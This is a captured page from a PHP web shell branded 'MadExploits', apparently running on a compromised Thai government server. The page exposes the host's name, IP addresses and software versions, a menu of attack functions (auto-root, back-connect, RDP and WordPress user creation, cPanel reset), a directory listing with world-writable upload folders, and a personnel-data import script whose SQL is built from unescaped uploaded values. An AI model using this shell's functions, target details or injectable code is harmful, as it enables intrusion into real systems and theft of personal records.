Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
person /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
manual
[ DIR ]
drwxr-xr-x
picture
[ DIR ]
drwxrwxrwx
signature
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxrwxrwx
birthday_import.php
4.08
KB
-rw-r--r--
change_status_person.php
11.65
KB
-rwxr-xr-x
change_status_person_sch.php
18.67
KB
-rwxr-xr-x
default.php
258
B
-rwxr-xr-x
delegate_sch.php
15.53
KB
-rwxr-xr-x
export_to_excel.php
1.99
KB
-rwxr-xr-x
getxml_person.php
10.53
KB
-rw-r--r--
getxml_person.phpฯศฏ
8.94
KB
-rwxr-xr-x
index.php
337
B
-rwxr-xr-x
lack_person.php
10.24
KB
-rw-r--r--
livesearch.php
616
B
-rwxr-xr-x
livesearch_2.php
608
B
-rwxr-xr-x
livesearch_3.php
622
B
-rwxr-xr-x
livesearch_4.php
630
B
-rwxr-xr-x
livesearch_mobile.php
623
B
-rwxr-xr-x
menu.php
6.16
KB
-rw-r--r--
menu_mobile.php
960
B
-rwxr-xr-x
permission.php
8.55
KB
-rwxr-xr-x
person.php
19.45
KB
-rwxr-xr-x
person1111.php
16.77
KB
-rwxr-xr-x
person_import.php
4.46
KB
-rwxr-xr-x
person_report1.php
5.5
KB
-rwxr-xr-x
person_report1_mobile.php
1.89
KB
-rwxr-xr-x
person_sch.php
29.12
KB
-rwxr-xr-x
person_sch111.php
25.17
KB
-rwxr-xr-x
person_sch2.php
8.2
KB
-rwxr-xr-x
person_sch_import.php
4.55
KB
-rwxr-xr-x
person_sch_other.php
12.11
KB
-rwxr-xr-x
person_sch_report1.php
12.47
KB
-rwxr-xr-x
person_sch_report1_mobile.php
8.76
KB
-rwxr-xr-x
pic_show.php
1.26
KB
-rwxr-xr-x
pic_show.php~
871
B
-rwxr-xr-x
pic_show_2.php
1.13
KB
-rwxr-xr-x
pic_show_2.php~
871
B
-rwxr-xr-x
position.php
6.36
KB
-rwxr-xr-x
return_ajax_schperson.php
710
B
-rwxr-xr-x
sch_position.php
11.23
KB
-rwxr-xr-x
school.php
3.11
KB
-rwxr-xr-x
signature.php
5.94
KB
-rw-r--r--
signature_show.php
1.33
KB
-rw-r--r--
time_inc.php
955
B
-rw-r--r--
update_picture1.php
1.73
KB
-rwxr-xr-x
update_picture2.php
1.74
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : birthday_import.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); if(!(($_SESSION['admin_person']=="person") or ($_SESSION['login_status']<=4 and $result_permission['p1']==1))){ exit(); } echo "<br />"; echo "<table width='50%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>นำเข้าข้อมูลวันเดือนปีเกิด</strong></font></td></tr>"; echo "</table>"; if($_FILES){ // ตรวจสอบว่าเป็น text file หรือไม่ $uploaddir ="modules/person/upload/"; //ที่เก็บไฟล์ $uploadfile = $uploaddir.basename($_FILES['userfile']['name']); $basename = basename($_FILES['userfile']['name']); //ลบไฟล์เดิมออก if (file_exists($uploadfile)) { unlink($uploadfile); } $surname = explode(".", $_FILES['userfile']['name']); if($surname[1]!="txt"){ unlink($_FILES['userfile']['tmp_name']); ?> <script> alert("ไม่ใช่ text file กรุณาอ่านคำอธิบายอีกครั้ง"); </script> <?php uploadfile(); exit(); } if (move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){ $data=file("$uploadfile"); for($i=1;$i<count($data);$i++){ list($no,$person_id,$birthday) = explode("\t",$data[$i]); $sql="update person_main set birthday='$birthday' where person_id='$person_id' "; $dbquery = mysqli_query($connect,$sql); $sql2="update person_sch_main set birthday='$birthday' where person_id='$person_id' "; $dbquery2 = mysqli_query($connect,$sql2); } } else{ echo "<br><strong><font color=#990000 size=3>ไม่สามารถอัพโหลดได้</font></strong>"; exit(); } ?> <script> document.location.href="?option=person&task=person_sch"; </script> <?php } else{ uploadfile(); } //ส่วนของform function uploadfile () { echo "<form name ='frm1' Enctype = 'multipart/form-data'>"; echo "<br>"; echo "<table align='center' width='50%' border='0'>"; echo "<tr>"; echo "<td align='right'><strong><font color='#003366' size='2'>ไฟล์เอกสาร</font></strong></td>"; echo "<td align='left'><input name = 'userfile' type = 'file'><font color='#003366' size='2'></font></td>"; echo "</tr>"; echo "<tr><td></td><td></td></tr> "; echo "<tr> "; echo "<td></td><td align = 'left'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='upload(1)'></td>"; echo "</tr>"; echo "</table>"; } //คำอธิบาย echo "<br /><br /><br />"; echo "<table width=70% border=0 align=center>"; echo "<Tr><Td align='left'><strong>คำอธิบาย</strong></Td></Tr>"; echo "<Tr><Td align='left'>1. ข้อมูลเดิมอยู่ในรูปแบบไฟล์ Excel ให้แถวแรกเป็นชื่อหัวสดมภ์ ประกอบด้วย 1.ที่ 2.เลขประจำตัวประชาชน 3. วันเดือนปีเกิด (รูปแบบ ค.ศ. 2013-12-31) </Td></Tr>"; echo "<Tr><Td align='left'>2. ตั้งแต่แถวที่ 2 เป็นต้นไปเป็นข้อมูลบุคลากรแต่ละคน</Td></Tr>"; echo "<Tr><Td align='left'>3. เมื่อข้อมูลในไฟล์ Excel เสร็จเรียบร้อยแล้วให้ Save As เป็นชนิด Text (Tab delimited)</Td></Tr>"; echo "<Tr><Td align='left'>4. หลังจากบันทึกเป็น Text ให้เปิดไฟล์ Text ด้วยโปรแกรม Notepad แล้ว Save As เลือก Encoding เป็น UTF-8 </Td></Tr>"; echo "<Tr><Td align='left'>5. upload ไฟล์จากข้อที่ 4</Td></Tr>"; echo "</Table>"; ?> <script> function upload(val){ if(val==1){ callfrm("?option=person&task=birthday_import"); } } </script>
Close